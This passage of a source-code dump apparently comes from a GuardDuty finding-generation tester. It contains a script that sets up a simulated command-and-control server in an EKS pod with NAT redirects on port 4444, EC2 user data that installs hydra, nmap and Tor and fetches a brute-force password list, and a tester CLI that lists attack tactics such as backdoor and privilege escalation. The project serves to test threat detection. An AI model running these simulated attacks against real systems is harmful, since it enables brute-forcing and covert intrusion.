$IMAGE_NAME 82 | 83 | # Push to ECR 84 | sudo docker push $IMAGE_NAME 85 | 86 | echo "Image pushed to: $IMAGE_NAME" 87 | 88 | echo 89 | echo "Deploying PHP Web Application to EKS cluster..." 90 | 91 | envsubst < ./files/deploy_php.yaml > ./files/temp_deploy_php.yaml 92 | 93 | echo "Creating Deployment..." 94 | kubectl apply -f ./files/temp_deploy_php.yaml 95 | 96 | #rm ./files/temp_deploy_php.yaml 97 | 98 | echo "Deployment completed!" 99 | echo "Checking deployment status..." 100 | kubectl get pods php-app 101 | 102 | echo "Waiting for 60 seconds for deployment to complete..." 103 | sleep 60 104 | 105 | echo "Deleting the repository $REPO_NAME for cleanup...." 106 | aws ecr delete-repository --repository-name $REPO_NAME --region $REGION --force 107 | 108 | echo 109 | echo 110 | # get the external IP + port of the php-app endpoint 111 | echo "Getting php-app service endpoint" 112 | export ip=`kubectl get pods php-app -o jsonpath='{.status.podIP}'` 113 | echo $ip | tee .php_ip 114 | echo 115 | echo 116 | echo "Getting php pod name" 117 | export pod_name=`kubectl get pods php-app -o jsonpath='{.metadata.name}'` 118 | echo $pod_name | tee .php_pod_name 119 | 120 | if [[ -z $ip ]]; then 121 | echo "Failed to get php-service endpoint" 122 | #exit 1 123 | fi 124 | echo 125 | echo 126 | echo "Deploy php code - index.php" 127 | kubectl cp ./files/index.php $pod_name:/var/www/html/ > /dev/null 2>&1 128 | 129 | echo "Installing wget" 130 | kubectl exec -it $pod_name -- apt-get update > /dev/null 2>&1 131 | kubectl exec -it $pod_name -- apt-get install -y wget > /dev/null 2>&1 132 | 133 | echo "Installing iptables and setting NAT rules to redirect connects to the CnC IP to localhost..." 134 | kubectl exec -it $pod_name -- apt install -y iptables 135 | kubectl exec -it $pod_name -- iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 33333 -j DNAT --to-destination 127.0.0.1:8081 136 | kubectl exec -it $pod_name -- iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 4444 -j DNAT --to-destination 127.0.0.1:4444 137 | 138 | echo "Installing crontab..." 139 | kubectl exec -it $pod_name -- apt install cron -y 140 | 141 | echo "Deploying and starting Python server to act as CnC..." 142 | kubectl cp ./files/python_server.py $pod_name:/python_server.py 143 | kubectl exec -it $pod_name -- apt install -y python3 144 | nohup kubectl exec -it $pod_name -- bash -c 'python3 /python_server.py' > /dev/null 2>&1 & 145 | -------------------------------------------------------------------------------- /lib/common/compute/lambda/cfn_on_event/cfn_on_event.py: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | import boto3 15 | import json 16 | import http.client 17 | import urllib.parse 18 | 19 | def send_cfn_response(event, context, response_status, response_data, physical_resource_id=None): 20 | response_body = { 21 | 'Status': response_status, 22 | 'Reason': f'See details in CloudWatch Log Stream: {context.log_stream_name}', 23 | 'PhysicalResourceId': physical_resource_id or context.log_stream_name, 24 | 'StackId': event['StackId'], 25 | 'RequestId': event['RequestId'], 26 | 'LogicalResourceId': event['LogicalResourceId'], 27 | 'NoEcho': False, 28 | 'Data': response_data 29 | } 30 | 31 | response_url = urllib.parse.urlparse(event['ResponseURL']) 32 | json_response_body = json.dumps(response_body) 33 | 34 | headers = { 35 | 'content-type': 'application/json', 36 | 'content-length': str(len(json_response_body)) 37 | } 38 | 39 | connection = None 40 | try: 41 | connection = http.client.HTTPSConnection(response_url.netloc) 42 | connection.request('PUT', response_url.path + '?' + response_url.query, 43 | json_response_body, 44 | headers) 45 | response = connection.getresponse() 46 | print(f"Status code: {response.status}") 47 | except Exception as e: 48 | print(f"send_cfn_response failed: {e}") 49 | finally: 50 | if connection: 51 | connection.close() 52 | 53 | 54 | def on_event(event: dict, context) -> None: 55 | request_type = event['RequestType'] 56 | response_data = {} 57 | response_status = 'SUCCESS' 58 | 59 | try: 60 | if request_type == 'Create': 61 | # on create grab latest debian linux ami for the given region for RedTeam EC2 instance 62 | region = event['ResourceProperties']['region'] 63 | response_data['Id'] = get_ami_info(region) 64 | 65 | elif request_type == 'Update': 66 | # immediately send success message on update 67 | response_data['Message'] = 'Resource update successful!' 68 | 69 | elif request_type == 'Delete': 70 | # remove custom threat list and clean out generated s3 bucket so cloudformation can delete it 71 | s3_bucket_name = event['ResourceProperties']['s3BucketName'] 72 | region = event['ResourceProperties']['region'] 73 | delete_custom_threat_list(s3_bucket_name, region) 74 | clean_ecr(event['ResourceProperties']['ecrRepoName'], region) 75 | response_data['Message'] = 'Resource deletion successful!' 76 | 77 | except Exception as e: 78 | response_data['Message'] = str(e) 79 | response_status = 'FAILED' 80 | 81 | send_cfn_response(event, context, response_status, response_data) 82 | 83 | 84 | def delete_custom_threat_list(s3_bucket_name: str, region: str) -> None: 85 | guard_duty = boto3.client('guardduty', region_name=region) 86 | detector_ids = guard_duty.list_detectors()['DetectorIds'] 87 | det_id = '' 88 | 89 | #get detector 90 | for id in detector_ids: 91 | detector = guard_duty.get_detector(DetectorId=id) 92 | if detector['Status'] == 'ENABLED': 93 | det_id = id 94 | break 95 | 96 | #get threat intel sets 97 | threat_sets = guard_duty.list_threat_intel_sets(DetectorId=det_id)['ThreatIntelSetIds'] 98 | for id in threat_sets: 99 | curr_set = guard_duty.get_threat_intel_set(DetectorId=det_id, ThreatIntelSetId=id) 100 | #delete the custom threat intel set for tester script 101 | if curr_set['Name'] == 'TesterCustomThreatList' and s3_bucket_name in curr_set['Location']: 102 | guard_duty.delete_threat_intel_set(DetectorId=det_id, ThreatIntelSetId=id) 103 | break 104 | 105 | 106 | def clean_ecr(repository_name: str, region: str) -> None: 107 | try: 108 | boto3.client('ecr', region).delete_repository(repositoryName=repository_name, force=True) 109 | except Exception as e: 110 | if 'RepositoryNotFoundException' in str(e.args): 111 | return 112 | else: 113 | raise e 114 | 115 | 116 | def get_ami_info(region: str) -> str: 117 | ec2 = boto3.client('ec2', region_name=region) 118 | filters = [ 119 | { 120 | 'Name': 'architecture', 121 | 'Values': ['x86_64'] 122 | }, 123 | { 124 | 'Name': 'virtualization-type', 125 | 'Values': ['hvm'] 126 | }, 127 | { 128 | 'Name': 'root-device-type', 129 | 'Values': ['ebs'] 130 | }, 131 | { 132 | 'Name': 'ena-support', 133 | 'Values': ['true'] 134 | } 135 | ] 136 | 137 | images = ec2.describe_images(Filters=filters, Owners=['amazon'])['Images'] 138 | debian_images = [x for x in images if 'debian-12-amd64' in x['Name'] and 'gui' not in x['Name']] 139 | 140 | # Get the max (most recent) image by name. The names contain the AMI version, formatted as ...-YYYYMMDD-Ver. 141 | # ex. debian-12-amd64-20240717-1811 142 | newest_image = max(debian_images, key=lambda x: x['Name']) 143 | return newest_image['ImageId'] 144 | -------------------------------------------------------------------------------- /lib/common/testResources/guardduty_tester.py: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | import sys 15 | import signal 16 | import argparse 17 | import textwrap 18 | from types import FrameType 19 | from typing import Optional 20 | from test_builder import TestBuilder 21 | from settings_manager import SettingsManager 22 | 23 | 24 | ''' 25 | using argparse parse user arguments and display help message where necessary 26 | ''' 27 | def parse_args() -> argparse.Namespace: 28 | # establish parser with post argument description notes to display if "--help" flag passed 29 | parser = argparse.ArgumentParser(description='Python program to test GuardDuty finding generation', 30 | formatter_class=argparse.RawDescriptionHelpFormatter, 31 | epilog=textwrap.dedent(''' 32 | NOTES: 33 | - Script will default to run all published tests if no parameters are given 34 | - if no target (EC2, ECS, EKS, IAM, LAMBDA, or S3) specified, then all will be tested 35 | - if no tactic is specified all (applicable to each resource) will be tested 36 | - Defining tactics and or targets will tighten the scope of tests 37 | - Runtime findings only apply to EC2, ECS, and EKS 38 | - DEFAULT -> true 39 | - true -> will execute runtime finding tests 40 | - false -> will omit runtime finding tests 41 | - only -> will omit non runtime finding tests and run only runtime tests 42 | 43 | EXAMPLES: 44 | python3 guardduty_tester.py 45 | python3 guardduty_tester.py --all 46 | python3 guardduty_tester.py --s3 47 | python3 guardduty_tester.py --tactics discovery 48 | python3 guardduty_tester.py --ec2 --eks --tactics backdoor policy execution 49 | python3 guardduty_tester.py --eks --runtime only 50 | python3 guardduty_tester.py --ec2 --runtime only --tactics impact 51 | python3 guardduty_tester.py --finding 'CryptoCurrency:EC2/BitcoinTool.B!DNS' 52 | ''')) 53 | 54 | # lists of all resources/tactics available to tester 55 | resources = [ 56 | 'attack-sequence', 57 | 'ec2', 58 | 'ecs-ec2', 59 | 'ecs-fargate', 60 | 'eks', 61 | 'iam', 62 | 'lambda', 63 | 's3' 64 | ] 65 | tactics = [ 66 | 'attack-sequence', 67 | 'backdoor', 68 | 'crypto', 69 | 'defense-evasion', 70 | 'discovery', 71 | 'execution', 72 | 'impact', 73 | 'pentest', 74 | 'persistence', 75 | 'policy', 76 | 'privilege-escalation', 77 | 'recon', 78 | 'stealth', 79 | 'trojan', 80 | 'unauthorized-access' 81 | ] 82 | log_sources = [ 83 | 'dns', 84 | 'vpc-flowlogs', 85 | 'lambda', 86 | 's3-logs', 87 | 'cloudtrail', 88 | 'eks-audit-logs', 89 | 'runtime-monitoring' 90 | ] 91 | 92 | # add all resources as individual flags 93 | for resource in resources: 94 | parser.add_argument(f'--{resource}', action='append_const', const=resource, dest='test_resources', help=f'Declare to test {resource} findings') 95 | 96 | parser.add_argument('--all', action='store_true', default=False, help='Run all tests (all targets & all tactics)') 97 | parser.add_argument('--finding', nargs='*', type=str, default=None, help='Run test for specific finding(s), following the finding flag declare entire finding name(s) with single quotes around each finding') 98 | parser.add_argument('--runtime', nargs=1, type=str, default=['true'], choices=['true', 'false', 'only'], help='Declare runtime flag followed by either true, false, or only. Default: true') 99 | parser.add_argument('--tactics', nargs='*', type=str, choices=tactics, default=tactics, help='Declare tactics flag followed by one or more of options above to specify which finding type(s) to generate') 100 | parser.add_argument('--log-source', nargs='*', type=str, choices=log_sources, default=None, help='Declare log-sources flag followed by one or more of options above to specify which finding type(s) to generate') 101 | parser.add_argument('--yes', action='store_true', default=False, help='Assume "yes" for all configuration prompts') 102 | 103 | args = parser.parse_args() 104 | 105 | # if --all -> override resources and tactics to all 106 | if args.all: 107 | args.test_resources = resources 108 | args.tactics = tactics 109 | args.log_source = log_sources 110 | 111 | # default to all resources if not passed by user 112 | if not args.test_resources and not args.finding: 113 | args.test_resources = resources 114 | 115 | # if explicit finding(s) set, make tactics empty and rely only on declared findings 116 | if args.finding: 117 | args.tactics = [] 118 | args.log_source = [] 119 | 120 | return args 121 | 122 | 123 | ''' 124 | guardduty tester main method 125 | accepts user given parameters 126 | establishes test settings based on args 127 | dynamically builds guardduty tester scripts 128 | runs and returns account back to original state 129 | ''' 130 | if __name__ == '__main__': 131 | args = parse_args() 132 | 133 | settings = SettingsManager() 134 | tester = TestBuilder() 135 | 136 | ''' 137 | function to handle graceful exit if any signal that would end the process recieved 138 | nested inside main method for closure access to settings object 139 | ''' 140 | def signal_handler(signal: int, frame: Optional[FrameType]) -> None: 141 | # reset account settings if any changes have been made 142 | settings.reset_settings() 143 | sys.exit(0) 144 | 145 | # loop through each signal and assign signal handler 146 | for s in [ signal.SIGINT, signal.SIGTERM, signal.SIGHUP, signal.SIGTSTP, ]: 147 | signal.signal(s, signal_handler) 148 | 149 | settings.set_test_settings(args) 150 | 151 | tester.build_testing_script(settings.test_settings) 152 | tester.run_test_script() 153 | 154 | settings.reset_settings() 155 | -------------------------------------------------------------------------------- /lib/stacks/tester-stack.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Stack, type StackProps } from 'aws-cdk-lib'; 15 | import { type Construct } from 'constructs'; 16 | 17 | import { TempRole } from '../common/access/iam/tester-temp-tole'; 18 | import { DebianLinuxInstance } from '../common/compute/ec2/debian-instance'; 19 | import { UbuntuInstance } from '../common/compute/ec2/ubuntu-instance'; 20 | import { BasicWindowsInstance } from '../common/compute/ec2/windows-instance'; 21 | import { TestDriverEcsCluster } from '../common/compute/ecs/driver-cluster'; 22 | import { TesterEksCluster } from '../common/compute/eks/tester-eks'; 23 | import { CfnActionLambda } from '../common/compute/lambda/cfn-action-lambda'; 24 | import { TesterLambda } from '../common/compute/lambda/finding-lambda'; 25 | import { TesterCloudTrail } from '../common/management/cloudtrail/tester-cloudtrail'; 26 | import { SettingRestoreStepFunc } from '../common/management/step-function/step-function'; 27 | import { CdkGdTesterVPC } from '../common/network/vpc'; 28 | import { EmptyBucket } from '../common/storage/s3/empty-bucket'; 29 | import { TesterBucket } from '../common/storage/s3/tester-bucket'; 30 | import { 31 | ASG_NAME, 32 | CREATED_BY_TAG, 33 | DEBIAN_INSTANCE_NAME, 34 | DRIVER_INSTANCE_TYPE, 35 | EC2_INSTANCE_TYPE, 36 | UBUNTU_INSTANCE_TYPE, 37 | EC2_TASK_FAMILY, 38 | ECR_REPO_NAME, 39 | ECS_CLUSTER_NAME, 40 | ECS_INSTANCE_NAME, 41 | EKS_CLUSTER_NAME, 42 | EKS_INSTANCE_NAME, 43 | FARGATE_TASK_FAMILY, 44 | INSTANCE_TAG, 45 | TRAIL_NAME, 46 | UBUNTU_INSTANCE_NAME, 47 | WINDOWS_INSTANCE_NAME, 48 | } from './constants'; 49 | 50 | /** 51 | * GuardDuty Tester Stack deploys resources to test GuardDuty non-behavioral findings 52 | */ 53 | export class GuardDutyTesterStack extends Stack { 54 | constructor(scope: Construct, id: string, props?: StackProps) { 55 | super(scope, id, props); 56 | 57 | const testerBucket = new TesterBucket(this, 'testerBucket'); 58 | const emptyBucket = new EmptyBucket(this, 'emptyBucket'); 59 | const attackBucket = new EmptyBucket(this, 'attackBucket'); 60 | const testerLambda = new TesterLambda(this, 'testerLambda', { 61 | accountId: this.account, 62 | region: this.region, 63 | }); 64 | const cloudtrail = new TesterCloudTrail(this, 'testerCloudTrail', { 65 | bucket: testerBucket.bucket, 66 | name: TRAIL_NAME, 67 | }); 68 | const cfnLambda = new CfnActionLambda(this, 'testerCfnLambda', { 69 | accountId: this.account, 70 | region: this.region, 71 | bucketName: testerBucket.bucketName, 72 | bucketArn: testerBucket.bucketArn, 73 | ecrRepo: ECR_REPO_NAME, 74 | asgName: ASG_NAME, 75 | }); 76 | const tempRole = new TempRole(this, 'TempRole', { 77 | accountId: this.account, 78 | bucketArn: testerBucket.bucketArn, 79 | }); 80 | const stepFunction = new SettingRestoreStepFunc(this, 'StepFunction', { 81 | accountId: this.account, 82 | region: this.region, 83 | }); 84 | 85 | // dedicated vpc for testing 86 | const testerVpc = new CdkGdTesterVPC(this, 'vpc', { region: this.region }); 87 | 88 | // public subnet instance 89 | const debianInstance = new DebianLinuxInstance(this, 'debianLinuxInstance', { 90 | vpc: testerVpc.vpc, 91 | amiLambda: cfnLambda, 92 | region: this.region, 93 | instanceName: DEBIAN_INSTANCE_NAME, 94 | bucketName: testerBucket.bucketName, 95 | accountId: this.account, 96 | eksCluster: EKS_CLUSTER_NAME, 97 | tempRole: tempRole.arn, 98 | instanceType: EC2_INSTANCE_TYPE, 99 | tag: INSTANCE_TAG, 100 | createdBy: CREATED_BY_TAG, 101 | }); 102 | 103 | // private subnet resources 104 | const ubuntuInstance = new UbuntuInstance(this, 'ubuntuInstance', { 105 | vpc: testerVpc.vpc, 106 | instanceName: UBUNTU_INSTANCE_NAME, 107 | instanceType: UBUNTU_INSTANCE_TYPE, 108 | region: this.region, 109 | tag: INSTANCE_TAG, 110 | createdBy: CREATED_BY_TAG, 111 | bucketName: testerBucket.bucketName, 112 | accountId: this.account, 113 | }); 114 | const windowsInstance = new BasicWindowsInstance(this, 'windowsInstance', { 115 | vpc: testerVpc.vpc, 116 | instanceName: WINDOWS_INSTANCE_NAME, 117 | instanceType: EC2_INSTANCE_TYPE, 118 | tag: INSTANCE_TAG, 119 | createdBy: CREATED_BY_TAG, 120 | }); 121 | const driverCluster = new TestDriverEcsCluster(this, 'driverCluster', { 122 | accountId: this.account, 123 | region: this.region, 124 | asgName: ASG_NAME, 125 | eksCluster: EKS_CLUSTER_NAME, 126 | ecsCluster: ECS_CLUSTER_NAME, 127 | instanceName: ECS_INSTANCE_NAME, 128 | instanceType: DRIVER_INSTANCE_TYPE, 129 | bucketName: testerBucket.bucketName, 130 | vpc: testerVpc.vpc, 131 | maliciousIp: debianInstance.ec2.instancePublicIp, 132 | debianIp: debianInstance.ec2.instancePrivateIp, 133 | debianInstance: debianInstance.ec2.instanceId, 134 | ubuntuInstance: ubuntuInstance.ec2.instanceId, 135 | debianRoleName: debianInstance.instanceRole.role.roleName, 136 | windowsIp: windowsInstance.ec2.instancePrivateIp, 137 | windowsInstance: windowsInstance.ec2.instanceId, 138 | cloudTrailName: TRAIL_NAME, 139 | cloudTrailArn: cloudtrail.trailArn, 140 | lambdaName: testerLambda.functionName, 141 | lambdaArn: testerLambda.functionArn, 142 | ingressSecurityGroup: debianInstance.sgId, 143 | tempRole: tempRole.arn, 144 | stepFuncArn: stepFunction.machineArn, 145 | emptyBucketName: emptyBucket.bucketName, 146 | attackBucketName: attackBucket.bucketName, 147 | tag: INSTANCE_TAG, 148 | ec2TaskFamily: EC2_TASK_FAMILY, 149 | fargateTaskFamily: FARGATE_TASK_FAMILY, 150 | createdBy: CREATED_BY_TAG, 151 | }); 152 | const eksCluster = new TesterEksCluster(this, 'eksCluster', { 153 | vpc: testerVpc.vpc, 154 | masterRole: driverCluster.instanceRole.role, 155 | kubectlRole: debianInstance.instanceRole.role, 156 | name: EKS_CLUSTER_NAME, 157 | instanceName: EKS_INSTANCE_NAME, 158 | tag: INSTANCE_TAG, 159 | createdBy: CREATED_BY_TAG, 160 | ecsSecurityGroup: driverCluster.securityGroup, 161 | }); 162 | 163 | // Lambda requires Test VPC 164 | cfnLambda.node.addDependency(testerVpc); 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /lib/common/compute/ec2/debian-instance.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Tags } from 'aws-cdk-lib'; 15 | import { GenericLinuxImage, Instance, SubnetType, UserData, CfnInstance } from 'aws-cdk-lib/aws-ec2'; 16 | import { Construct } from 'constructs'; 17 | 18 | import { DebianLinuxRole } from '../../access/iam/debian-role'; 19 | import { DebianSecurityGroup } from '../../access/securityGroup/debian-security-group'; 20 | import { type CfnActionLambda } from '../lambda/cfn-action-lambda'; 21 | import { type Ec2Props } from './ec2-props'; 22 | 23 | export interface DebianProps extends Ec2Props { 24 | amiLambda: CfnActionLambda; 25 | bucketName: string; 26 | accountId: string; 27 | eksCluster: string; 28 | tempRole: string; 29 | } 30 | 31 | /** 32 | * Defines the resources for a Debian Linux instance in GaurdDuty 33 | * Tester public sunet. Debian goes in the public subnet so that it 34 | * has a public IP address as required by some tests 35 | */ 36 | export class DebianLinuxInstance extends Construct { 37 | public readonly ec2: Instance; 38 | public readonly instanceRole: DebianLinuxRole; 39 | public readonly sgId: string; 40 | 41 | constructor(scope: Construct, id: string, props: DebianProps) { 42 | super(scope, id); 43 | 44 | // IAM role that instance will assume 45 | this.instanceRole = new DebianLinuxRole(scope, 'Role', { 46 | bucketName: props.bucketName, 47 | accountId: props.accountId, 48 | region: props.region!, 49 | eks: props.eksCluster, 50 | tempRoleArn: props.tempRole, 51 | }); 52 | 53 | // debian security group that defines permissible traffic 54 | const securityGroup = new DebianSecurityGroup(this, 'SecurityGroup', { 55 | vpc: props.vpc, 56 | ingressSgId: props.securityGroupIngress!, 57 | }); 58 | 59 | this.sgId = securityGroup.sg.securityGroupId; 60 | 61 | this.ec2 = new Instance(this, id, { 62 | vpc: props.vpc, 63 | instanceType: props.instanceType, 64 | machineImage: new GenericLinuxImage(this.getDebianImage(props)), 65 | vpcSubnets: props.vpc.selectSubnets({ subnetType: SubnetType.PUBLIC }), 66 | associatePublicIpAddress: true, 67 | userData: this.getUserData(), 68 | role: this.instanceRole.role, 69 | securityGroup: securityGroup.sg, 70 | instanceName: props.instanceName, 71 | userDataCausesReplacement: true, 72 | }); 73 | 74 | Tags.of(this.ec2).add(props.tag.key, props.tag.value); 75 | Tags.of(this.ec2).add(props.createdBy.key, props.createdBy.value); 76 | } 77 | 78 | /** 79 | * With Custom Resource Lambda query Debian Linux Image AMI for the given region 80 | * @param props 81 | * @returns map of [region] -> instance-ami 82 | */ 83 | private getDebianImage(props: DebianProps): Record { 84 | return { 85 | [props.region!]: props.amiLambda.customResourceLambda.getAtt('Id').toString(), 86 | }; 87 | } 88 | 89 | /** 90 | * Defines user data for Debian Linux that installs necessary libraries for testing 91 | * @returns 92 | */ 93 | private getUserData(): UserData { 94 | const homeDir = '/home/ssm-user'; 95 | const install = 'apt-get install -y'; 96 | 97 | const userData = UserData.forLinux(); 98 | userData.addCommands( 99 | '#!/bin/bash', 100 | 'export DEBIAN_FRONTEND=noninteractive', 101 | 'mkdir /etc/systemd/resolved.conf.d', 102 | 'adduser ssm-user', 103 | 'echo "ssm-user ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/ssm-agent-users', 104 | 'chmod 440 /etc/sudoers.d/ssm-agent-users', 105 | 'systemctl restart systemd-resolved', 106 | 'export PATH=$PATH:/usr/local/bin:/usr/sbin:/root/.local/bin', 107 | `echo 'export PATH=/root/.local/bin:/usr/sbin:/home/debian/.local/bin:$PATH' >> /home/debian/.bash_profile`, 108 | 'apt-get update -y', 109 | `${install} nmap hydra jq python3-pip python3 tor freerdp2-dev libssl-dev postgresql-common libpq-dev autoconf libtool automake gcc unzip python3-venv apache2`, 110 | // Ensure the most recent AWS CLI is present 111 | 'curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"', 112 | 'unzip awscliv2.zip', 113 | './aws/install', 114 | // Setup bruteforce test resources 115 | `mkdir ${homeDir}/passwords`, 116 | `curl -L https://raw.githubusercontent.com/awslabs/amazon-guardduty-tester/master/artifacts/password_list.txt > ${homeDir}/passwords/password_list.txt`, 117 | `cd ${homeDir}`, 118 | 'cat << EOF >> users', 119 | 'ec2-user', 120 | 'root', 121 | 'admin', 122 | 'administrator', 123 | 'ftp', 124 | 'www', 125 | 'nobody', 126 | 'EOF', 127 | // Kubectl for EKS tests 128 | 'curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.27.1/bin/linux/amd64/kubectl', 129 | 'chmod +x ./kubectl', 130 | 'mv ./kubectl /usr/local/bin/kubectl', 131 | // Torsocks for EKS, IAM, and S3 tests 132 | `mkdir ${homeDir}/install`, 133 | `cd ${homeDir}/install`, 134 | 'git clone https://gitlab.torproject.org/tpo/core/torsocks.git', 135 | 'cd torsocks', 136 | './autogen.sh', 137 | './configure', 138 | 'make', 139 | 'make install', 140 | `bash -c 'echo "ControlPort 9051" >> /etc/tor/torsocks.conf'`, 141 | `bash -c 'echo "CookieAuthentication 0" >> /etc/tor/torsocks.conf'`, 142 | `bash -c 'echo "ControlPort 9051" >> /etc/tor/torrc'`, 143 | `bash -c 'echo "CookieAuthentication 0" >> /etc/tor/torrc'`, 144 | // AWS consoler for IAM and S3 tests 145 | `cd ${homeDir}`, 146 | 'python3 -m venv gd_tester_pyenv', 147 | 'source gd_tester_pyenv/bin/activate', 148 | 'pip3 install awscurl aws-consoler', 149 | 'systemctl enable tor', 150 | 'systemctl start tor', 151 | `chown -R ssm-user: ${homeDir}`, 152 | // Setup HTTPd for .Custom findings 153 | `sed -i 's/80/8009/g' /etc/apache2/sites-enabled/000-default.conf`, 154 | `sed -i 's/80/8009/g' /etc/apache2/ports.conf`, 155 | 'systemctl enable apache2', 156 | 'systemctl start apache2', 157 | // Setup SSM agent 158 | `cd ${homeDir}/install`, 159 | 'wget https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/debian_amd64/amazon-ssm-agent.deb', 160 | 'dpkg -i amazon-ssm-agent.deb', 161 | 'systemctl enable amazon-ssm-agent', 162 | 'systemctl start amazon-ssm-agent', 163 | ); 164 | return userData; 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/hadoop-yarn-job/files/deploy_hadoop_script.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Switch to ubuntu user and execute all commands as ubuntu 4 | sudo -u ubuntu bash << 'EOF' 5 | 6 | # Function to check command execution status 7 | check_error() { 8 | if [ $? -ne 0 ]; then 9 | echo "Error: $1" 10 | exit 1 11 | fi 12 | } 13 | 14 | # Function to backup configuration files 15 | backup_config() { 16 | local file=$1 17 | if [ -f "$file" ]; then 18 | cp "$file" "${file}.backup.$(date +%Y%m%d_%H%M%S)" 19 | check_error "Failed to backup $file" 20 | fi 21 | } 22 | 23 | SCENARIO_HOME=/home/ssm-user/py_tester/runtimeScenarios/hadoop-yarn-job 24 | 25 | HADOOP_HOME=/usr/local/hadoop-3.3.6 26 | 27 | echo "Deleting $HADOOP_HOME, if already eists..." 28 | if [ -d "$HADOOP_HOME" ]; then 29 | sudo rm -rf $HADOOP_HOME 30 | fi 31 | 32 | # Update and upgrade system 33 | echo "Updating system packages..." 34 | sudo apt-get update -y 35 | check_error "apt update failed" 36 | sudo apt-get upgrade -y 37 | check_error "apt upgrade failed" 38 | 39 | # Install OpenJDK 40 | echo "Installing OpenJDK 8..." 41 | sudo apt install -y openjdk-8-jdk 42 | check_error "OpenJDK installation failed" 43 | 44 | # Install Hadoop 45 | echo "Downloading and installing Hadoop..." 46 | if [ -f "/home/ubuntu/Downloads/hadoop-3.3.6.tar.gz" ]; then 47 | echo "/home/ubuntu/Downloads/hadoop-3.3.6.tar.gz exists. Skipping download." 48 | else 49 | wget https://archive.apache.org/dist/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz -P /home/ubuntu/Downloads 50 | check_error "Hadoop download failed" 51 | fi 52 | 53 | sudo tar zxvf ~/Downloads/hadoop-* -C /usr/local/ 54 | check_error "Hadoop extraction failed" 55 | 56 | # Get Java home path 57 | JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java)))) 58 | echo "JAVA_HOME is $JAVA_HOME" 59 | check_error "Failed to determine JAVA_HOME" 60 | 61 | # Update .bashrc 62 | echo "Updating .bashrc..." 63 | cat << EOF_BASHRC >> ~/.bashrc 64 | #JAVA_HOME 65 | export JAVA_HOME=$JAVA_HOME 66 | export PATH=\$PATH:\$JAVA_HOME/bin 67 | #HADOOP_HOME 68 | export HADOOP_HOME=/usr/local/hadoop-3.3.6 69 | export HADOOP_INSTALL=\$HADOOP_HOME 70 | export HADOOP_MAPRED_HOME=\$HADOOP_HOME 71 | export HADOOP_COMMON_HOME=\$HADOOP_HOME 72 | export HADOOP_CONF_DIR=\$HADOOP_HOME/etc/hadoop 73 | export HADOOP_HDFS_HOME=\$HADOOP_HOME 74 | export YARN_HOME=\$HADOOP_HOME 75 | export HADOOP_COMMON_LIB_NATIVE_DIR=\$HADOOP_HOME/lib/native 76 | export PATH=\$PATH:\$HADOOP_HOME/sbin:\$HADOOP_HOME/bin 77 | EOF_BASHRC 78 | check_error "Failed to update .bashrc" 79 | 80 | export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre 81 | export PATH=$PATH:$JAVA_HOME/bin 82 | #HADOOP_HOME 83 | export HADOOP_HOME=/usr/local/hadoop-3.3.6 84 | export HADOOP_INSTALL=$HADOOP_HOME 85 | export HADOOP_MAPRED_HOME=$HADOOP_HOME 86 | export HADOOP_COMMON_HOME=$HADOOP_HOME 87 | export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop 88 | export HADOOP_HDFS_HOME=$HADOOP_HOME 89 | export YARN_HOME=$HADOOP_HOME 90 | export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native 91 | export PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin 92 | #JAVA_HOME 93 | export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre 94 | export PATH=$PATH:$JAVA_HOME/bin 95 | 